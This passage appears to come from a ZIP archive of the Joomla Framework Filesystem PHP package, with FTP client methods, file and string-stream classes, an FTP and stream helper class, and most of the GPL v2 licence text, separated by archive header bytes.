226]. Path sent: %3$s', __METHOD__, $this->response, $path) ); } $contents = explode(CRLF, $data); } // If only raw output is requested we are done if ($type == 'raw') { return $data; } // If we received the listing of an empty directory, we are done as well if (empty($contents[0])) { return $dirList; } // If the server returned the number of results in the first response, let's dump it if (strtolower(substr($contents[0], 0, 6)) == 'total ') { array_shift($contents); if (!isset($contents[0]) || empty($contents[0])) { return $dirList; } } // Regular expressions for the directory listing parsing. $regexps = array( 'UNIX' => '#([-dl][rwxstST-]+).* ([0-9]*) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*)' . ' ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{1,2}:[0-9]{2})|[0-9]{4}) (.+)#', 'MAC' => '#([-dl][rwxstST-]+).* ?([0-9 ]*)?([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*)' . ' ([a-zA-Z]+[0-9: ]*[0-9])[ ]+(([0-9]{2}:[0-9]{2})|[0-9]{4}) (.+)#', 'WIN' => '#([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)#', ); // Find out the format of the directory listing by matching one of the regexps $osType = null; foreach ($regexps as $k => $v) { if (@preg_match($v, $contents[0])) { $osType = $k; $regexp = $v; break; } } if (!$osType) { throw new FilesystemException(__METHOD__ . ': Unrecognised directory listing format.'); } /* * Here is where it is going to get dirty.... */ if ($osType == 'UNIX' || $osType == 'MAC') { foreach ($contents as $file) { $tmpArray = null; if (@preg_match($regexp, $file, $regs)) { $fType = (int) strpos('-dl', $regs[1][0]); // $tmpArray['line'] = $regs[0]; $tmpArray['type'] = $fType; $tmpArray['rights'] = $regs[1]; // $tmpArray['number'] = $regs[2]; $tmpArray['user'] = $regs[3]; $tmpArray['group'] = $regs[4]; $tmpArray['size'] = $regs[5]; $tmpArray['date'] = @date('m-d', strtotime($regs[6])); $tmpArray['time'] = $regs[7]; $tmpArray['name'] = $regs[9]; } // If we just want files, do not add a folder if ($type == 'files' && $tmpArray['type'] == 1) { continue; } // If we just want folders, do not add a file if ($type == 'folders' && $tmpArray['type'] == 0) { continue; } if (\is_array($tmpArray) && $tmpArray['name'] != '.' && $tmpArray['name'] != '..') { $dirList[] = $tmpArray; } } } else { foreach ($contents as $file) { $tmpArray = null; if (@preg_match($regexp, $file, $regs)) { $fType = (int) ($regs[7] == '<DIR>'); $timestamp = strtotime("$regs[3]-$regs[1]-$regs[2] $regs[4]:$regs[5]$regs[6]"); // $tmpArray['line'] = $regs[0]; $tmpArray['type'] = $fType; $tmpArray['rights'] = ''; // $tmpArray['number'] = 0; $tmpArray['user'] = ''; $tmpArray['group'] = ''; $tmpArray['size'] = (int) $regs[7]; $tmpArray['date'] = date('m-d', $timestamp); $tmpArray['time'] = date('H:i', $timestamp); $tmpArray['name'] = $regs[8]; } // If we just want files, do not add a folder if ($type == 'files' && $tmpArray['type'] == 1) { continue; } // If we just want folders, do not add a file if ($type == 'folders' && $tmpArray['type'] == 0) { continue; } if (\is_array($tmpArray) && $tmpArray['name'] != '.' && $tmpArray['name'] != '..') { $dirList[] = $tmpArray; } } } return $dirList; } /** * Send command to the FTP server and validate an expected response code * * @param string $cmd Command to send to the FTP server * @param mixed $expectedResponse Integer response code or array of integer response codes * * @return boolean True if command executed successfully * * @since 1.0 * @throws FilesystemException */ protected function _putCmd($cmd, $expectedResponse) { // Make sure we have a connection to the server if (!\is_resource($this->conn)) { throw new FilesystemException(__METHOD__ . ': Not connected to the control port.'); } // Send the command to the server if (!fwrite($this->conn, $cmd . "\r\n")) { throw new FilesystemException(sprintf('%1$s: Unable to send command: %2$s', __METHOD__, $cmd)); } return $this->_verifyResponse($expectedResponse); } /** * Verify the response code from the server and log response if flag is set * * @param mixed $expected Integer response code or array of integer response codes * * @return boolean True if response code from the server is expected * * @since 1.0 * @throws FilesystemException */ protected function _verifyResponse($expected) { $parts = null; // Wait for a response from the server, but timeout after the set time limit $endTime = time() + $this->timeout; $this->response = ''; do { $this->response .= fgets($this->conn, 4096); } while (!preg_match('/^([0-9]{3})(-(.*' . CRLF . ')+\\1)? [^' . CRLF . ']+' . CRLF . '$/', $this->response, $parts) && time() < $endTime); // Catch a timeout or bad response if (!isset($parts[1])) { throw new FilesystemException( sprintf( '%1$s: Timeout or unrecognised response while waiting for a response from the server. Server response: %2$s', __METHOD__, $this->response ) ); } // Separate the code from the message $this->responseCode = $parts[1]; $this->responseMsg = $parts[0]; // Did the server respond with the code we wanted? if (\is_array($expected)) { if (\in_array($this->responseCode, $expected)) { $retval = true; } else { $retval = false; } } else { if ($this->responseCode == $expected) { $retval = true; } else { $retval = false; } } return $retval; } /** * Set server to passive mode and open a data port connection * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ protected function _passive() { $match = array(); $parts = array(); $errno = null; $err = null; // Make sure we have a connection to the server if (!\is_resource($this->conn)) { throw new FilesystemException(__METHOD__ . ': Not connected to the control port.'); } // Request a passive connection - this means, we'll talk to you, you don't talk to us. @ fwrite($this->conn, "PASV\r\n"); // Wait for a response from the server, but timeout after the set time limit $endTime = time() + $this->timeout; $this->response = ''; do { $this->response .= fgets($this->conn, 4096); } while (!preg_match('/^([0-9]{3})(-(.*' . CRLF . ')+\\1)? [^' . CRLF . ']+' . CRLF . '$/', $this->response, $parts) && time() < $endTime); // Catch a timeout or bad response if (!isset($parts[1])) { throw new FilesystemException( sprintf( '%1$s: Timeout or unrecognised response while waiting for a response from the server. Server response: %2$s', __METHOD__, $this->response ) ); } // Separate the code from the message $this->responseCode = $parts[1]; $this->responseMsg = $parts[0]; // If it's not 227, we weren't given an IP and port, which means it failed. if ($this->responseCode != 227) { throw new FilesystemException( sprintf('%1$s: Unable to obtain IP and port for data transfer. Server response: %2$s', __METHOD__, $this->responseMsg) ); } // Snatch the IP and port information, or die horribly trying... if (preg_match('~\((\d+),\s*(\d+),\s*(\d+),\s*(\d+),\s*(\d+)(?:,\s*(\d+))\)~', $this->responseMsg, $match) == 0) { throw new FilesystemException( sprintf('%1$s: IP and port for data transfer not valid. Server response: %2$s', __METHOD__, $this->responseMsg) ); } // This is pretty simple - store it for later use ;). $this->pasv = array('ip' => $match[1] . '.' . $match[2] . '.' . $match[3] . '.' . $match[4], 'port' => $match[5] * 256 + $match[6]); // Connect, assuming we've got a connection. $this->dataconn = @fsockopen($this->pasv['ip'], $this->pasv['port'], $errno, $err, $this->timeout); if (!$this->dataconn) { throw new FilesystemException( sprintf( '%1$s: Could not connect to host %2$s on port %3$s. Socket error number: %4$s and error message: %5$s', __METHOD__, $this->pasv['ip'], $this->pasv['port'], $errno, $err ) ); } // Set the timeout for this connection socket_set_timeout($this->conn, $this->timeout, 0); return true; } /** * Method to find out the correct transfer mode for a specific file * * @param string $fileName Name of the file * * @return integer Transfer-mode for this filetype [FTP_ASCII|FTP_BINARY] * * @since 1.0 */ protected function _findMode($fileName) { if ($this->type == FTP_AUTOASCII) { $dot = strrpos($fileName, '.') + 1; $ext = substr($fileName, $dot); if (\in_array($ext, $this->autoAscii)) { $mode = \FTP_ASCII; } else { $mode = \FTP_BINARY; } } elseif ($this->type == \FTP_ASCII) { $mode = \FTP_ASCII; } else { $mode = \FTP_BINARY; } return $mode; } /** * Set transfer mode * * @param integer $mode Integer representation of data transfer mode [1:Binary|0:Ascii] * Defined constants can also be used [FTP_BINARY|FTP_ASCII] * * @return boolean True if successful * * @since 1.0 * @throws FilesystemException */ protected function _mode($mode) { if ($mode == \FTP_BINARY) { if (!$this->_putCmd('TYPE I', 200)) { throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 200]. Mode sent: Binary', __METHOD__, $this->response) ); } } else { if (!$this->_putCmd('TYPE A', 200)) { throw new FilesystemException( sprintf('%1$s: Bad response. Server response: %2$s [Expected: 200]. Mode sent: ASCII', __METHOD__, $this->response) ); } } return true; } } PKÜ�\0~�%vendor/joomla/filesystem/src/File.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem; use Joomla\Filesystem\Exception\FilesystemException; /** * A File handling class * * @since 1.0 */ class File { /** * Strips the last extension off of a file name * * @param string $file The file name * * @return string The file name without the extension * * @since 1.0 */ public static function stripExt($file) { return preg_replace('#\.[^.]*$#', '', $file); } /** * Makes the file name safe to use * * @param string $file The name of the file [not full path] * @param array $stripChars Array of regex (by default will remove any leading periods) * * @return string The sanitised string * * @since 1.0 */ public static function makeSafe($file, array $stripChars = array('#^\.#')) { $regex = array_merge(array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#'), $stripChars); $file = preg_replace($regex, '', $file); // Remove any trailing dots, as those aren't ever valid file names. $file = rtrim($file, '.'); return $file; } /** * Copies a file * * @param string $src The path to the source file * @param string $dest The path to the destination file * @param string $path An optional base path to prefix to the file names * @param boolean $useStreams True to use streams * * @return boolean True on success * * @since 1.0 * @throws FilesystemException * @throws \UnexpectedValueException */ public static function copy($src, $dest, $path = null, $useStreams = false) { // Prepend a base path if it exists if ($path) { $src = Path::clean($path . '/' . $src); $dest = Path::clean($path . '/' . $dest); } // Check src path if (!is_readable($src)) { throw new \UnexpectedValueException( sprintf( "%s: Cannot find or read file: %s", __METHOD__, Path::removeRoot($src) ) ); } if ($useStreams) { $stream = Stream::getStream(); if (!$stream->copy($src, $dest, null, false)) { throw new FilesystemException(sprintf('%1$s(%2$s, %3$s): %4$s', __METHOD__, $src, $dest, $stream->getError())); } return true; } if (!@ copy($src, $dest)) { throw new FilesystemException(__METHOD__ . ': Copy failed.'); } return true; } /** * Delete a file or array of files * * @param mixed $file The file name or an array of file names * * @return boolean True on success * * @since 1.0 * @throws FilesystemException */ public static function delete($file) { $files = (array) $file; foreach ($files as $file) { $file = Path::clean($file); $filename = basename($file); if (!Path::canChmod($file)) { throw new FilesystemException(__METHOD__ . ': Failed deleting inaccessible file ' . $filename); } // Try making the file writable first. If it's read-only, it can't be deleted // on Windows, even if the parent folder is writable @chmod($file, 0777); // In case of restricted permissions we zap it one way or the other // as long as the owner is either the webserver or the ftp if (!@ unlink($file)) { throw new FilesystemException(__METHOD__ . ': Failed deleting ' . $filename); } } return true; } /** * Moves a file * * @param string $src The path to the source file * @param string $dest The path to the destination file * @param string $path An optional base path to prefix to the file names * @param boolean $useStreams True to use streams * * @return boolean True on success * * @since 1.0 * @throws FilesystemException */ public static function move($src, $dest, $path = '', $useStreams = false) { if ($path) { $src = Path::clean($path . '/' . $src); $dest = Path::clean($path . '/' . $dest); } // Check src path if (!is_readable($src)) { return 'Cannot find source file.'; } if ($useStreams) { $stream = Stream::getStream(); if (!$stream->move($src, $dest, null, false)) { throw new FilesystemException(__METHOD__ . ': ' . $stream->getError()); } return true; } if (!@ rename($src, $dest)) { throw new FilesystemException(__METHOD__ . ': Rename failed.'); } return true; } /** * Write contents to a file * * @param string $file The full file path * @param string $buffer The buffer to write * @param boolean $useStreams Use streams * @param boolean $appendToFile Append to the file and not overwrite it. * * @return boolean True on success * * @since 1.0 */ public static function write($file, &$buffer, $useStreams = false, $appendToFile = false) { @set_time_limit(ini_get('max_execution_time')); // If the destination directory doesn't exist we need to create it if (!file_exists(\dirname($file))) { Folder::create(\dirname($file)); } if ($useStreams) { $stream = Stream::getStream(); // Beef up the chunk size to a meg $stream->set('chunksize', (1024 * 1024)); $stream->writeFile($file, $buffer, $appendToFile); return true; } $file = Path::clean($file); // Set the required flag to only append to the file and not overwrite it if ($appendToFile === true) { return \is_int(file_put_contents($file, $buffer, \FILE_APPEND)); } return \is_int(file_put_contents($file, $buffer)); } /** * Moves an uploaded file to a destination folder * * @param string $src The name of the php (temporary) uploaded file * @param string $dest The path (including filename) to move the uploaded file to * @param boolean $useStreams True to use streams * * @return boolean True on success * * @since 1.0 * @throws FilesystemException */ public static function upload($src, $dest, $useStreams = false) { // Ensure that the path is valid and clean $dest = Path::clean($dest); // Create the destination directory if it does not exist $baseDir = \dirname($dest); if (!is_dir($baseDir)) { Folder::create($baseDir); } if ($useStreams) { $stream = Stream::getStream(); if (!$stream->upload($src, $dest, null, false)) { throw new FilesystemException(sprintf('%1$s(%2$s, %3$s): %4$s', __METHOD__, $src, $dest, $stream->getError())); } return true; } if (is_writable($baseDir) && move_uploaded_file($src, $dest)) { // Short circuit to prevent file permission errors if (Path::setPermissions($dest)) { return true; } throw new FilesystemException(__METHOD__ . ': Failed to change file permissions.'); } throw new FilesystemException(__METHOD__ . ': Failed to move file.'); } } PKÜ�\�l1���9vendor/joomla/filesystem/src/Support/StringController.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem\Support; /** * String Controller * * @since 1.0 */ class StringController { /** * Internal string references * * @var array * @ssince 1.4.0 */ private static $strings = array(); /** * Defines a variable as an array * * @return array * * @since 1.0 * @deprecated 2.0 Use `getArray` instead. */ public static function _getArray() { return self::getArray(); } /** * Defines a variable as an array * * @return array * * @since 1.4.0 */ public static function getArray() { return self::$strings; } /** * Create a reference * * @param string $reference The key * @param string $string The value * * @return void * * @since 1.0 */ public static function createRef($reference, &$string) { self::$strings[$reference] = & $string; } /** * Get reference * * @param string $reference The key for the reference. * * @return mixed False if not set, reference if it exists * * @since 1.0 */ public static function getRef($reference) { if (isset(self::$strings[$reference])) { return self::$strings[$reference]; } return false; } } PKÜ�\#%�.vendor/joomla/filesystem/src/Stream/String.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem\Stream; /** * String Stream Wrapper * * This class allows you to use a PHP string in the same way that * you would normally use a regular stream wrapper * * @since 1.0 * @deprecated 2.0 Use StringWrapper instead */ class String extends StringWrapper { } PKÜ�\���5vendor/joomla/filesystem/src/Stream/StringWrapper.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem\Stream; use Joomla\Filesystem\Support\StringController; /** * String Stream Wrapper * * This class allows you to use a PHP string in the same way that you would normally use a regular stream wrapper * * @since 1.3.0 */ class StringWrapper { /** * The current string * * @var string * @since 1.3.0 */ protected $currentString; /** * The path * * @var string * @since 1.3.0 */ protected $path; /** * The mode * * @var string * @since 1.3.0 */ protected $mode; /** * Enter description here ... * * @var string * @since 1.3.0 */ protected $options; /** * Enter description here ... * * @var string * @since 1.3.0 */ protected $openedPath; /** * Current position * * @var integer * @since 1.3.0 */ protected $pos; /** * Length of the string * * @var string * @since 1.3.0 */ protected $len; /** * Statistics for a file * * @var array * @since 1.3.0 * @link https://www.php.net/manual/en/function.stat.php */ protected $stat; /** * Method to open a file or URL. * * @param string $path The stream path. * @param string $mode Not used. * @param integer $options Not used. * @param string $openedPath Not used. * * @return boolean * * @since 1.3.0 */ public function stream_open($path, $mode, $options, &$openedPath) { $refPath = StringController::getRef(str_replace('string://', '', $path)); $this->currentString = &$refPath; if ($this->currentString) { $this->len = \strlen($this->currentString); $this->pos = 0; $this->stat = $this->url_stat($path, 0); return true; } return false; } /** * Method to retrieve information from a file resource * * @return array * * @link https://www.php.net/manual/en/streamwrapper.stream-stat.php * @since 1.3.0 */ public function stream_stat() { return $this->stat; } /** * Method to retrieve information about a file. * * @param string $path File path or URL to stat * @param integer $flags Additional flags set by the streams API * * @return array * * @link https://www.php.net/manual/en/streamwrapper.url-stat.php * @since 1.3.0 */ public function url_stat($path, $flags = 0) { $now = time(); $refPath = StringController::getRef(str_replace('string://', '', $path)); $string = &$refPath; $stat = array( 'dev' => 0, 'ino' => 0, 'mode' => 0, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => \strlen($string), 'atime' => $now, 'mtime' => $now, 'ctime' => $now, 'blksize' => '512', 'blocks' => ceil(\strlen($string) / 512), ); return $stat; } /** * Method to read a given number of bytes starting at the current position * and moving to the end of the string defined by the current position plus the * given number. * * @param integer $count Bytes of data from the current position should be returned. * * @return string * * @link https://www.php.net/manual/en/streamwrapper.stream-read.php * @since 1.3.0 */ public function stream_read($count) { $result = substr($this->currentString, $this->pos, $count); $this->pos += $count; return $result; } /** * Stream write, always returning false. * * @param string $data The data to write. * * @return boolean * * @since 1.3.0 * @note Updating the string is not supported. */ public function stream_write($data) { // We don't support updating the string. return false; } /** * Method to get the current position * * @return integer The position * * @since 1.3.0 */ public function stream_tell() { return $this->pos; } /** * End of field check * * @return boolean True if at end of field. * * @since 1.3.0 */ public function stream_eof() { if ($this->pos >= $this->len) { return true; } return false; } /** * Stream offset * * @param integer $offset The starting offset. * @param integer $whence SEEK_SET, SEEK_CUR, SEEK_END * * @return boolean True on success. * * @since 1.3.0 */ public function stream_seek($offset, $whence) { // $whence: SEEK_SET, SEEK_CUR, SEEK_END if ($offset > $this->len) { // We can't seek beyond our len. return false; } switch ($whence) { case \SEEK_SET: $this->pos = $offset; break; case \SEEK_CUR: if (($this->pos + $offset) > $this->len) { return false; } $this->pos += $offset; break; case \SEEK_END: $this->pos = $this->len - $offset; break; } return true; } /** * Stream flush, always returns true. * * @return boolean * * @since 1.3.0 * @note Data storage is not supported */ public function stream_flush() { // We don't store data. return true; } } if (!stream_wrapper_register('string', '\\Joomla\\Filesystem\\Stream\\StringWrapper')) { die('\\Joomla\\Filesystem\\Stream\\StringWrapper Wrapper Registration Failed'); } PKÜ�\�'��tt'vendor/joomla/filesystem/src/Helper.phpnu�[���<?php /** * Part of the Joomla Framework Filesystem Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filesystem; /** * File system helper * * Holds support functions for the filesystem, particularly the stream * * @since 1.0 */ class Helper { /** * Remote file size function for streams that don't support it * * @param string $url TODO Add text * * @return mixed * * @link https://www.php.net/manual/en/function.filesize.php#71098 * @since 1.0 */ public static function remotefsize($url) { $sch = parse_url($url, \PHP_URL_SCHEME); if (!\in_array($sch, array('http', 'https', 'ftp', 'ftps'), true)) { return false; } if (\in_array($sch, array('http', 'https'), true)) { $headers = @ get_headers($url, 1); if (!$headers || (!\array_key_exists('Content-Length', $headers))) { return false; } return $headers['Content-Length']; } if (\in_array($sch, array('ftp', 'ftps'), true)) { $server = parse_url($url, \PHP_URL_HOST); $port = parse_url($url, \PHP_URL_PORT); $path = parse_url($url, \PHP_URL_PATH); $user = parse_url($url, \PHP_URL_USER); $pass = parse_url($url, \PHP_URL_PASS); if ((!$server) || (!$path)) { return false; } if (!$port) { $port = 21; } if (!$user) { $user = 'anonymous'; } if (!$pass) { $pass = ''; } $ftpid = null; switch ($sch) { case 'ftp': $ftpid = @ftp_connect($server, $port); break; case 'ftps': $ftpid = @ftp_ssl_connect($server, $port); break; } if (!$ftpid) { return false; } $login = @ftp_login($ftpid, $user, $pass); if (!$login) { return false; } $ftpsize = ftp_size($ftpid, $path); ftp_close($ftpid); if ($ftpsize == -1) { return false; } return $ftpsize; } } /** * Quick FTP chmod * * @param string $url Link identifier * @param integer $mode The new permissions, given as an octal value. * * @return integer|boolean * * @link https://www.php.net/manual/en/function.ftp-chmod.php * @since 1.0 */ public static function ftpChmod($url, $mode) { $sch = parse_url($url, \PHP_URL_SCHEME); if (($sch != 'ftp') && ($sch != 'ftps')) { return false; } $server = parse_url($url, \PHP_URL_HOST); $port = parse_url($url, \PHP_URL_PORT); $path = parse_url($url, \PHP_URL_PATH); $user = parse_url($url, \PHP_URL_USER); $pass = parse_url($url, \PHP_URL_PASS); if ((!$server) || (!$path)) { return false; } if (!$port) { $port = 21; } if (!$user) { $user = 'anonymous'; } if (!$pass) { $pass = ''; } $ftpid = null; switch ($sch) { case 'ftp': $ftpid = @ftp_connect($server, $port); break; case 'ftps': $ftpid = @ftp_ssl_connect($server, $port); break; } if (!$ftpid) { return false; } $login = @ftp_login($ftpid, $user, $pass); if (!$login) { return false; } $res = @ftp_chmod($ftpid, $mode, $path); ftp_close($ftpid); return $res; } /** * Modes that require a write operation * * @return array * * @since 1.0 */ public static function getWriteModes() { return array('w', 'w+', 'a', 'a+', 'r+', 'x', 'x+'); } /** * Stream and Filter Support Operations * * Returns the supported streams, in addition to direct file access * Also includes Joomla! streams as well as PHP streams * * @return array Streams * * @since 1.0 */ public static function getSupported() { // Really quite cool what php can do with arrays when you let it... static $streams; if (!$streams) { $streams = array_merge(stream_get_wrappers(), self::getJStreams()); } return $streams; } /** * Returns a list of transports * * @return array * * @since 1.0 */ public static function getTransports() { // Is this overkill? return stream_get_transports(); } /** * Returns a list of filters * * @return array * * @since 1.0 */ public static function getFilters() { // Note: This will look like the getSupported() function with J! filters. // TODO: add user space filter loading like user space stream loading return stream_get_filters(); } /** * Returns a list of J! streams * * @return array * * @since 1.0 */ public static function getJStreams() { static $streams = array(); if (!$streams) { $files = new \DirectoryIterator(__DIR__ . '/Stream'); /** @var $file \DirectoryIterator */ foreach ($files as $file) { // Only load for php files. if (!$file->isFile() || $file->getExtension() != 'php') { continue; } $streams[] = $file->getBasename('.php'); } } return $streams; } /** * Determine if a stream is a Joomla stream. * * @param string $streamname The name of a stream * * @return boolean True for a Joomla Stream * * @since 1.0 */ public static function isJoomlaStream($streamname) { return \in_array($streamname, self::getJStreams()); } } PKÜ�\�P�E�E vendor/joomla/filesystem/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 